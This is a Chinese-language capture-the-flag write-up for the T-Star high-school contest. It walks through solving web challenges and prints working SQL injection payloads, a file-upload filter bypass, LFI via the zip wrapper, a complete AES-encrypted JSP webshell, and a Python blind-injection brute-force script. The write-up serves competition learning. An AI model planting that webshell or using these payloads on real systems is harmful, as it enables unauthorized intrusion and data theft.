T-Star高校挑战赛writeup

    技术2022-07-10  135

    0x00 前言 又是当废物躺了一天的比赛,10个web做了3个,其余6个都是队友做的,还有一个sql1最后也没做出来。也是第一次在ctf比赛中获得第一,纪念一下,感谢队友带飞。wp写的较为简陋。

    0x01 赛题 签到 就一个前端验证,抓包改后缀就行

    ​ 连上shell得到flag 命令执行基础 直接用 | 来绕过,成功命令执行

    你能爆破吗? sqli-libs 21关原题

    使用admin admin登录后 查看cookie有个base64编码后的用户名,结合提示知道是注入,将注入语句base64编码后传入。经过测试发现没有过滤,测试出字段数为3。 将下列语句base64后传入,查表名:

    0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user()#

    将下列语句base64后传入,查列名:

    0" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()# 查flag 文件上传 经过fuzz发现,双写<?和eval可以绕过他的文本替换,然后pht可以上传 然后访问发现看不到我们写入的一句话,说明解析成功

    ​ 通过php的system执行命令,得到flag 文件包含getshell 查看源码,发现了lfi.txt 查看lfi.txt,发现可以文件包含 准备一个zip文件,里面是s.php,具体如下,并且重命名为s.txt,然后上传

    ​ 通zip协议成功执行命令

    ​ 成绩单 好像是bugku的原题吧,太简单了就不写了

    最后查询flag:

    0’ union select 1,2,3,flag from fl4g#

    小猫咪踩灯泡 直接拿poc打,写入一句话

    <%@page import=“java.util.,javax.crypto.,javax.crypto.spec.*”%><%!class U extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(“pass”)!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue(“u”,k);out.print(k);return;}Cipher c=Cipher.getInstance(“AES”);c.init(2,new SecretKeySpec((session.getValue(“u”)+"").getBytes(),“AES”));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

    ​ 然后访问木马,发现写入成功 连上一句话,得到flag

    ​ 分析代码获得flag 可能是非预期?反正我们7字符5字符都没成功。

    写入shell基本是不成功的,因为有index.php的干扰,所以用cat命令读上一级目录的key,先写入cat 然后看到key是在上层目录

    然后直接使用cat来读取

    …/*

    SQL注入2 目录扫描到wwwroot.zip,发现过滤的比较死,猜测账号密码图片都在同一个数据库表中,脚本如下。

    import requests a =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9'] temp = '' while(1): for i in a: url = 'http://23dcf1dc.yunyansec.com/picture.php?id=3" or password REGEXP '+'\'^'+temp+i+'\' #' r = requests.get(url) if 'not found' not in r.text: temp = temp+i print (temp) break

    二十位的hash?可能是dedecms,然后去掉前三位跟后三位然后somd5解密 然后登陆拿到flag 0x02 总结 总体来说还算比较简单,早期起来晚了,要不然还能抢几个题,等我起来一上号队友都已经在屠榜了(淦

    最后……分析代码得flag也是原题,链接:

    https://github.com/XDSEC/xdsec_ctf/tree/494b53d388186e8be21e753bb2048362842280c1/xdctf2015/izyCTF

    Processed: 0.010, SQL: 9